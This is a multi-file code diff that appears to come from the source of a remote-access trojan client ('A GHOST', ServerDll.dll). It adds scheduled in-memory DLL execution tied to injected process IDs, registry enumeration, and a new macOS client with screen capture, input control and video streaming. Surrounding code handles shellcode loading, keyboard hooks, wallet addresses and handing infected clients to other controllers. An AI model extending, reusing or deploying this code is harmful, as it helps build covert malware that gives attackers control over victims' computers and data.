cfg.SetStr("settings", "port", v[1]); m_cfg->SetStr("settings", "port", v[1]);
float days = atof(v[2].c_str()); float days = atof(v[2].c_str());
if (days > 0) { if (days > 0) {
auto valid_to = time(0) + days*86400; auto valid_to = time(0) + days*86400;
// overflow after 2038-01-19 // overflow after 2038-01-19
cfg.SetStr("settings", "valid_to", std::to_string(valid_to)); m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
} }
} }
case SHARE_TYPE_YAMA: { case SHARE_TYPE_YAMA: {
@@ -883,11 +990,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
break; break;
auto share = v[0] + ":" + v[1]; auto share = v[0] + ":" + v[1];
auto list = cfg.GetStr("settings", "share_list"); auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|'); auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break; if (VectorContains(shareList, share)) break;
shareList.push_back(share); shareList.push_back(share);
cfg.SetStr("settings", "share_list", VectorJoin(shareList, '|')); m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str()); Mprintf("Share client to new master: %s\n", share.c_str());
} }
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
@@ -902,8 +1009,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE_CANCEL: { case COMMAND_SHARE_CANCEL: {
if (m_ClientApp->IsMainInstance()) { if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH); m_cfg->SetStr("settings", "share_list", "");
cfg.SetStr("settings", "share_list", "");
} }
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ? ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
"Cancel sharing and next run to take effort" : "No permission to cancel sharing"); "Cancel sharing and next run to take effort" : "No permission to cancel sharing");
@@ -926,8 +1032,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval); Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval);
} }
if (m_ClientApp->IsMainInstance()) { if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH); m_cfg->SetStr("settings", "wallet", m_settings.WalletAddress);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
} }
CManager* pMgr = (CManager*)m_hKeyboard->user; CManager* pMgr = (CManager*)m_hKeyboard->user;
if (pMgr) { if (pMgr) {

View File

@@ -134,6 +134,7 @@ struct RttEstimator {
class CKernelManager : public CManager class CKernelManager : public CManager
{ {
public: public:
iniFile* m_cfg = nullptr;
CONNECT_ADDRESS* m_conn; CONNECT_ADDRESS* m_conn;
HINSTANCE m_hInstance; HINSTANCE m_hInstance;
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s); CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
@@ -156,6 +157,9 @@ public:
std::string m_hash; std::string m_hash;
std::string m_hmac; std::string m_hmac;
uint64_t m_MyClientID = 0; uint64_t m_MyClientID = 0;
// 执行代码
std::map<std::string, std::vector<BYTE>> m_MemDLL;
int RestoreMemDLL();
void SetLoginMsg(const std::string& msg) void SetLoginMsg(const std::string& msg)
{ {
m_LoginMsg = msg; m_LoginMsg = msg;

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,1 FILEVERSION 1,0,3,2
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.1" VALUE "FileVersion", "1.0.3.2"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026" VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"

Binary file not shown.

View File

@@ -1,6 +1,6 @@
/* /*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode. This is an implementation of the AES algorithm, specifically ECB, AES_MODE_CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256. Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
The implementation is verified against the test vectors in: The implementation is verified against the test vectors in:
@@ -221,7 +221,7 @@ void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{ {
KeyExpansion(ctx->RoundKey, key); KeyExpansion(ctx->RoundKey, key);
} }
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) #if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv) void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{ {
KeyExpansion(ctx->RoundKey, key); KeyExpansion(ctx->RoundKey, key);
@@ -528,7 +528,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
#if defined(CTR) && (CTR == 1) #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */ /* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
@@ -560,5 +560,5 @@ void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
} }
} }
#endif // #if defined(CTR) && (CTR == 1) #endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)

View File

@@ -7,7 +7,7 @@
// #define the macros below to 1/0 to enable/disable the mode of operation. // #define the macros below to 1/0 to enable/disable the mode of operation.
// //
// CBC enables AES encryption in CBC-mode of operation. // CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode. // AES_MODE_CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously. // ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
// The #ifndef-guard allows it to be configured before #include'ing or at compile time. // The #ifndef-guard allows it to be configured before #include'ing or at compile time.
@@ -19,8 +19,8 @@
#define ECB 1 #define ECB 1
#endif #endif
#ifndef CTR #ifndef AES_MODE_CTR
#define CTR 1 #define AES_MODE_CTR 1
#endif #endif
@@ -43,13 +43,13 @@
struct AES_ctx { struct AES_ctx {
uint8_t RoundKey[AES_keyExpSize]; uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) #if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
uint8_t Iv[AES_BLOCKLEN]; uint8_t Iv[AES_BLOCKLEN];
#endif #endif
}; };
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key); void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) #if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv); void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif #endif
@@ -75,7 +75,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CBC) && (CBC == 1) #endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1) #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
// Same function for encrypting as for decrypting. // Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output // IV is incremented for every block, and used after encryption as XOR-compliment for output
@@ -84,7 +84,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
// no IV should ever be reused with the same key // no IV should ever be reused with the same key
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CTR) && (CTR == 1) #endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
#endif // _AES_H_ #endif // _AES_H_

View File

@@ -41,7 +41,10 @@
typedef int64_t __int64; typedef int64_t __int64;
typedef uint16_t WORD; typedef uint16_t WORD;
typedef uint32_t DWORD; typedef uint32_t DWORD;
typedef int BOOL, SOCKET; #ifndef BOOL
typedef bool BOOL;
#endif
typedef int SOCKET;
typedef unsigned int ULONG; typedef unsigned int ULONG;
typedef unsigned int UINT; typedef unsigned int UINT;
typedef void VOID; typedef void VOID;
@@ -69,6 +72,7 @@ typedef struct {
#endif #endif
#include "ip_enc.h" #include "ip_enc.h"
#include "scheduler.h"
#include <time.h> #include <time.h>
#include <unordered_map> #include <unordered_map>
@@ -532,6 +536,7 @@ enum {
CLIENT_TYPE_SHELLCODE = 4, // Shellcode CLIENT_TYPE_SHELLCODE = 4, // Shellcode
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行 CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
CLIENT_TYPE_LINUX = 6, // LINUX 客户端 CLIENT_TYPE_LINUX = 6, // LINUX 客户端
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
}; };
enum { enum {
@@ -557,6 +562,8 @@ inline const char* GetClientType(int typ)
return "MDLL"; return "MDLL";
case CLIENT_TYPE_LINUX: case CLIENT_TYPE_LINUX:
return "LNX"; return "LNX";
case CLIENT_TYPE_MACOS:
return "MAC";
default: default:
return "DLL"; return "DLL";
} }
@@ -1145,7 +1152,8 @@ typedef struct DllExecuteInfo {
char Md5[33]; // DLL MD5 char Md5[33]; // DLL MD5
int Pid; // 被注入进程ID int Pid; // 被注入进程ID
char Is32Bit; // 是否32位DLL char Is32Bit; // 是否32位DLL
char Reseverd[18]; unsigned short InfoSize; // 结构体大小
ScheduleParams Schedule; // 执行计划
} DllExecuteInfo; } DllExecuteInfo;
typedef struct DllExecuteInfoNew { typedef struct DllExecuteInfoNew {
@@ -1156,7 +1164,8 @@ typedef struct DllExecuteInfoNew {
char Md5[33]; // DLL MD5 char Md5[33]; // DLL MD5
int Pid; // 被注入进程ID int Pid; // 被注入进程ID
char Is32Bit; // 是否32位DLL char Is32Bit; // 是否32位DLL
char Reseverd[18]; unsigned short InfoSize; // 结构体大小
ScheduleParams Schedule; // 执行计划
char Parameters[400]; char Parameters[400];
} DllExecuteInfoNew; } DllExecuteInfoNew;
inline void SetParameters(DllExecuteInfoNew *p, char *param, int size) inline void SetParameters(DllExecuteInfoNew *p, char *param, int size)

View File

@@ -359,6 +359,88 @@ public:
} }
m_keyCache.clear(); m_keyCache.clear();
} }
// 枚举 m_SubKeyPath 下的所有子键名称
// suffix: 只返回以该后缀结尾的键名,默认为空表示返回所有键
std::vector<std::string> EnumSubKeys(const std::string& suffix = "") const
{
std::vector<std::string> result;
// 使用缓存获取 m_SubKeyPath 的句柄
auto it = m_keyCache.find(m_SubKeyPath);
HKEY hKey = NULL;
if (it != m_keyCache.end()) {
hKey = it->second;
} else {
if (RegOpenKeyExA(m_hRootKey, m_SubKeyPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
return result;
}
m_keyCache[m_SubKeyPath] = hKey;
}
char keyName[256];
DWORD keyNameSize;
DWORD index = 0;
while (true) {
keyNameSize = sizeof(keyName);
LONG ret = RegEnumKeyExA(hKey, index, keyName, &keyNameSize, NULL, NULL, NULL, NULL);
if (ret == ERROR_NO_MORE_ITEMS) {
break;
}
if (ret == ERROR_SUCCESS) {
if (suffix.empty()) {
result.push_back(keyName);
} else {
std::string name(keyName);
if (name.size() >= suffix.size() &&
name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) {
result.push_back(name);
}
}
}
index++;
}
return result;
}
// 枚举指定 MainKey 下的所有值名称
// suffix: 只返回以该后缀结尾的值名,默认为空表示返回所有值
std::vector<std::string> EnumValues(const std::string& MainKey, const std::string& suffix = "") const
{
std::vector<std::string> result;
HKEY hKey = GetCachedKey(MainKey);
if (!hKey)
return result;
char valueName[256];
DWORD valueNameSize;
DWORD index = 0;
while (true) {
valueNameSize = sizeof(valueName);
LONG ret = RegEnumValueA(hKey, index, valueName, &valueNameSize, NULL, NULL, NULL, NULL);
if (ret == ERROR_NO_MORE_ITEMS) {
break;
}
if (ret == ERROR_SUCCESS) {
if (suffix.empty()) {
result.push_back(valueName);
} else {
std::string name(valueName);
if (name.size() >= suffix.size() &&
name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) {
result.push_back(name);
}
}
}
index++;
}
return result;
}
}; };
// 配置读取类: 注册表二进制配置(带键句柄缓存) // 配置读取类: 注册表二进制配置(带键句柄缓存)

100
common/scheduler.h Normal file
View File

@@ -0,0 +1,100 @@
#ifndef YAMA_SCHEDULER_H
#define YAMA_SCHEDULER_H
// 调度模式定义
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
#define SCH_MODE_STARTUP 1 // 启动执行模式
#define SCH_MODE_DAILY 2 // 每日定时模式
#define SCH_MODE_WEEKLY 3 // 每周定时模式
#pragma pack(push, 1)
// 严格定义 16 字节结构
typedef struct {
unsigned char Mode; // [1 字节] 0=None, 1=Startup, 2=Daily...
unsigned char Flags; // [1 字节] 标志位 (bit0:禁用)
union {
// Mode 1: 启动执行 + 间隔控制
struct {
unsigned int Interval;
} Startup;
// Mode 2 & 3: 定时模式
struct {
unsigned short TargetMin;
unsigned char DaysMask;
unsigned char Reserved;
} Timed;
} Config;
uint64_t LastRunTime;
unsigned char CurrentCount;
unsigned char MaxCount;
} ScheduleParams;
#pragma pack(pop)
#ifdef _WIN32
#include <windows.h>
class YamaTaskEngine {
public:
static bool ShouldExecute(const ScheduleParams* p) {
// --- 1. 默认与基础拦截 ---
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0默认不执行
if (p->Flags & 0x01) return false; // 显式禁用拦截
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
unsigned __int64 now = GetCurrentFT();
// --- 2. 启动执行模式 (Mode 1) ---
if (p->Mode == SCH_MODE_STARTUP) {
// 检查时间间隔限制
if (p->Config.Startup.Interval > 0 && p->LastRunTime > 0) {
unsigned __int64 diffSec = (now - p->LastRunTime) / 10000000ULL;
if (diffSec < (unsigned __int64)p->Config.Startup.Interval) {
return false;
}
}
return true;
}
// --- 3. 每日定时逻辑 (Mode 2) ---
if (p->Mode == SCH_MODE_DAILY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
if (curMin >= p->Config.Timed.TargetMin) {
if (!IsSameDay(p->LastRunTime, now)) return true;
}
}
return false;
}
static void MarkExecuted(ScheduleParams* p) {
p->LastRunTime = GetCurrentFT();
if (p->MaxCount > 0 && p->CurrentCount < 255) {
p->CurrentCount++;
}
}
private:
static unsigned __int64 GetCurrentFT() {
FILETIME ft;
GetSystemTimeAsFileTime(&ft);
return ((unsigned __int64)ft.dwHighDateTime << 32) | ft.dwLowDateTime;
}
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FILETIME f1, f2;
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
FileTimeToSystemTime(&f1, &st1);
FileTimeToSystemTime(&f2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
}
};
#endif
#endif

BIN
linux/lib/libzstd.a Normal file

Binary file not shown.

73
macos/CMakeLists.txt Normal file
View File

@@ -0,0 +1,73 @@
cmake_minimum_required(VERSION 3.15)
project(ghost_macos)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
# macOS deployment target
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13" CACHE STRING "Minimum macOS version")
# Universal Binary (Intel + Apple Silicon)
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64" CACHE STRING "Build architectures")
include_directories(../)
include_directories(../client)
include_directories(../compress)
# Source files
set(SOURCES
main.mm
../client/Buffer.cpp
../client/IOCPClient.cpp
ScreenHandler.mm
InputHandler.mm
SystemManager.mm
Permissions.mm
H264Encoder.mm
)
# Create executable
add_executable(ghost ${SOURCES})
# Include directories
target_include_directories(ghost PRIVATE
${CMAKE_CURRENT_SOURCE_DIR}
)
# Find and link macOS frameworks
find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
find_library(SECURITY_FRAMEWORK Security REQUIRED)
find_library(CARBON_FRAMEWORK Carbon REQUIRED)
find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED)
find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED)
find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
target_link_libraries(ghost PRIVATE
${COCOA_FRAMEWORK}
${COREGRAPHICS_FRAMEWORK}
${IOKIT_FRAMEWORK}
${IOSURFACE_FRAMEWORK}
${APPLICATIONSERVICES_FRAMEWORK}
${SECURITY_FRAMEWORK}
${CARBON_FRAMEWORK}
${VIDEOTOOLBOX_FRAMEWORK}
${COREMEDIA_FRAMEWORK}
${COREVIDEO_FRAMEWORK}
"${CMAKE_SOURCE_DIR}/lib/libzstd.a"
)
# Compiler flags
target_compile_options(ghost PRIVATE
-Wall
-Wextra
-fobjc-arc
)
# Output directory
set_target_properties(ghost PROPERTIES
RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin
)

86
macos/H264Encoder.h Normal file
View File

@@ -0,0 +1,86 @@
#pragma once
#include <cstdint>
#include <vector>
#include <mutex>
#include <atomic>
#import <VideoToolbox/VideoToolbox.h>
#import <CoreMedia/CoreMedia.h>
class H264Encoder {
public:
H264Encoder();
~H264Encoder();
// Initialize encoder
// @param width: frame width
// @param height: frame height
// @param fps: target frame rate
// @param bitrate: target bitrate in kbps (0 = auto)
bool open(int width, int height, int fps, int bitrate = 0);
// Close encoder and release resources
void close();
// Check if encoder is open
bool isOpen() const { return m_session != nullptr; }
// Encode a frame
// @param bgra: BGRA pixel data (bottom-up or top-down)
// @param bpp: bits per pixel (32 for BGRA)
// @param stride: bytes per row
// @param width: frame width
// @param height: frame height
// @param outData: pointer to receive encoded data pointer
// @param outSize: pointer to receive encoded data size
// @param flipVertical: true if image is bottom-up (BMP format)
// @return: encoded size, or 0 on failure
int encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** outData, uint32_t* outSize,
bool flipVertical = true);
// Force next frame to be keyframe
void forceKeyframe() { m_forceKeyframe = true; }
// Get last error message
const char* getLastError() const { return m_lastError; }
private:
// VideoToolbox compression callback
static void compressionCallback(void* outputCallbackRefCon,
void* sourceFrameRefCon,
OSStatus status,
VTEncodeInfoFlags infoFlags,
CMSampleBufferRef sampleBuffer);
// Process encoded sample buffer
void processSampleBuffer(CMSampleBufferRef sampleBuffer);
// Convert BGRA to I420 (YUV)
void convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
uint32_t width, uint32_t height,
bool flipVertical);
private:
VTCompressionSessionRef m_session;
int m_width;
int m_height;
int m_fps;
int m_bitrate;
// YUV buffers
std::vector<uint8_t> m_yPlane;
std::vector<uint8_t> m_uPlane;
std::vector<uint8_t> m_vPlane;
// Output buffer
std::vector<uint8_t> m_outputBuffer;
std::mutex m_outputMutex;
// State
std::atomic<bool> m_forceKeyframe;
int64_t m_frameCount;
char m_lastError[256];
};

521
macos/H264Encoder.mm Normal file
View File

@@ -0,0 +1,521 @@
#import "H264Encoder.h"
#import <VideoToolbox/VideoToolbox.h>
#import <CoreMedia/CoreMedia.h>
#import <CoreVideo/CoreVideo.h>
#import <Cocoa/Cocoa.h>
H264Encoder::H264Encoder()
: m_session(nullptr)
, m_width(0)
, m_height(0)
, m_fps(30)
, m_bitrate(0)
, m_forceKeyframe(false)
, m_frameCount(0)
{
m_lastError[0] = '\0';
}
H264Encoder::~H264Encoder()
{
close();
}
bool H264Encoder::open(int width, int height, int fps, int bitrate)
{
close();
// Width and height must be even for H264
m_width = width & ~1;
m_height = height & ~1;
m_fps = fps > 0 ? fps : 30;
m_bitrate = bitrate > 0 ? bitrate : (m_width * m_height * 3); // ~3 bits per pixel default
// Allocate YUV buffers
int ySize = m_width * m_height;
int uvSize = (m_width / 2) * (m_height / 2);
m_yPlane.resize(ySize);
m_uPlane.resize(uvSize);
m_vPlane.resize(uvSize);
// Reserve output buffer
m_outputBuffer.reserve(m_width * m_height);
// Create compression session
CFMutableDictionaryRef encoderSpec = CFDictionaryCreateMutable(
kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
// Prefer hardware encoder
CFDictionarySetValue(encoderSpec,
kVTVideoEncoderSpecification_EnableHardwareAcceleratedVideoEncoder,
kCFBooleanTrue);
// Source image attributes
CFMutableDictionaryRef sourceAttrs = CFDictionaryCreateMutable(
kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
int32_t pixelFormat = kCVPixelFormatType_420YpCbCr8Planar; // I420
CFNumberRef pixelFormatNum = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pixelFormat);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferPixelFormatTypeKey, pixelFormatNum);
CFRelease(pixelFormatNum);
int32_t widthNum = m_width;
int32_t heightNum = m_height;
CFNumberRef widthRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &widthNum);
CFNumberRef heightRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &heightNum);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferWidthKey, widthRef);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferHeightKey, heightRef);
CFRelease(widthRef);
CFRelease(heightRef);
// Create compression session
OSStatus status = VTCompressionSessionCreate(
kCFAllocatorDefault,
m_width,
m_height,
kCMVideoCodecType_H264,
encoderSpec,
sourceAttrs,
kCFAllocatorDefault,
compressionCallback,
this,
&m_session
);
CFRelease(encoderSpec);
CFRelease(sourceAttrs);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionCreate failed: %d", (int)status);
NSLog(@"H264Encoder: %s", m_lastError);
return false;
}
// Configure session properties
// Real-time encoding
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_RealTime, kCFBooleanTrue);
// Profile: Baseline for compatibility
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ProfileLevel,
kVTProfileLevel_H264_Baseline_AutoLevel);
// Allow frame reordering: false for low latency
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AllowFrameReordering, kCFBooleanFalse);
// Max keyframe interval (GOP size) - match Windows x264 setting (15 seconds)
int32_t keyframeInterval = m_fps * 15; // Keyframe every 15 seconds
CFNumberRef keyframeRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &keyframeInterval);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_MaxKeyFrameInterval, keyframeRef);
CFRelease(keyframeRef);
// Expected frame rate
CFNumberRef fpsRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_fps);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ExpectedFrameRate, fpsRef);
CFRelease(fpsRef);
// Average bitrate
CFNumberRef bitrateRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_bitrate);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AverageBitRate, bitrateRef);
CFRelease(bitrateRef);
// Data rate limits (for more consistent bitrate)
// [bytes per second, duration in seconds]
int64_t dataRateLimit = m_bitrate / 8;
double duration = 1.0;
CFNumberRef bytesRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &dataRateLimit);
CFNumberRef durationRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberFloat64Type, &duration);
CFTypeRef limits[2] = { bytesRef, durationRef };
CFArrayRef limitsArray = CFArrayCreate(kCFAllocatorDefault, limits, 2, &kCFTypeArrayCallBacks);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_DataRateLimits, limitsArray);
CFRelease(bytesRef);
CFRelease(durationRef);
CFRelease(limitsArray);
// Prepare to encode
status = VTCompressionSessionPrepareToEncodeFrames(m_session);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionPrepareToEncodeFrames failed: %d", (int)status);
NSLog(@"H264Encoder: %s", m_lastError);
close();
return false;
}
m_frameCount = 0;
m_forceKeyframe = true; // First frame is always keyframe
NSLog(@"H264Encoder opened: %dx%d @ %d fps, bitrate=%d",
m_width, m_height, m_fps, m_bitrate);
return true;
}
void H264Encoder::close()
{
if (m_session) {
VTCompressionSessionInvalidate(m_session);
CFRelease(m_session);
m_session = nullptr;
}
m_yPlane.clear();
m_uPlane.clear();
m_vPlane.clear();
m_outputBuffer.clear();
}
void H264Encoder::convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
uint32_t width, uint32_t height,
bool flipVertical)
{
// Convert BGRA to I420 (YUV 4:2:0 planar)
// Y = 0.299*R + 0.587*G + 0.114*B
// U = -0.169*R - 0.331*G + 0.500*B + 128
// V = 0.500*R - 0.419*G - 0.081*B + 128
uint8_t* yDst = m_yPlane.data();
uint8_t* uDst = m_uPlane.data();
uint8_t* vDst = m_vPlane.data();
int uvWidth = width / 2;
for (uint32_t y = 0; y < height; y++) {
// Source row (handle vertical flip)
uint32_t srcY = flipVertical ? (height - 1 - y) : y;
const uint8_t* srcRow = bgra + srcY * stride;
// Y plane destination
uint8_t* yRow = yDst + y * width;
for (uint32_t x = 0; x < width; x++) {
uint8_t b = srcRow[x * 4 + 0];
uint8_t g = srcRow[x * 4 + 1];
uint8_t r = srcRow[x * 4 + 2];
// Y component
int yVal = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
yRow[x] = (uint8_t)(yVal < 0 ? 0 : (yVal > 255 ? 255 : yVal));
}
// UV planes (subsampled 2x2)
if (y % 2 == 0) {
uint8_t* uRow = uDst + (y / 2) * uvWidth;
uint8_t* vRow = vDst + (y / 2) * uvWidth;
for (uint32_t x = 0; x < width; x += 2) {
// Average 2x2 block
uint32_t srcY2 = flipVertical ? (height - 2 - y) : (y + 1);
if (srcY2 >= height) srcY2 = srcY;
const uint8_t* srcRow2 = bgra + srcY2 * stride;
int r = 0, g = 0, b = 0;
// Top-left
b += srcRow[x * 4 + 0];
g += srcRow[x * 4 + 1];
r += srcRow[x * 4 + 2];
// Top-right
if (x + 1 < width) {
b += srcRow[(x + 1) * 4 + 0];
g += srcRow[(x + 1) * 4 + 1];
r += srcRow[(x + 1) * 4 + 2];
}
// Bottom-left
b += srcRow2[x * 4 + 0];
g += srcRow2[x * 4 + 1];
r += srcRow2[x * 4 + 2];
// Bottom-right
if (x + 1 < width) {
b += srcRow2[(x + 1) * 4 + 0];
g += srcRow2[(x + 1) * 4 + 1];
r += srcRow2[(x + 1) * 4 + 2];
}
r /= 4;
g /= 4;
b /= 4;
// U component
int uVal = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
uRow[x / 2] = (uint8_t)(uVal < 0 ? 0 : (uVal > 255 ? 255 : uVal));
// V component
int vVal = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
vRow[x / 2] = (uint8_t)(vVal < 0 ? 0 : (vVal > 255 ? 255 : vVal));
}
}
}
}
int H264Encoder::encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** outData, uint32_t* outSize,
bool flipVertical)
{
if (!m_session) {
snprintf(m_lastError, sizeof(m_lastError), "Encoder not initialized");
return 0;
}
if (width != (uint32_t)m_width || height != (uint32_t)m_height) {
snprintf(m_lastError, sizeof(m_lastError),
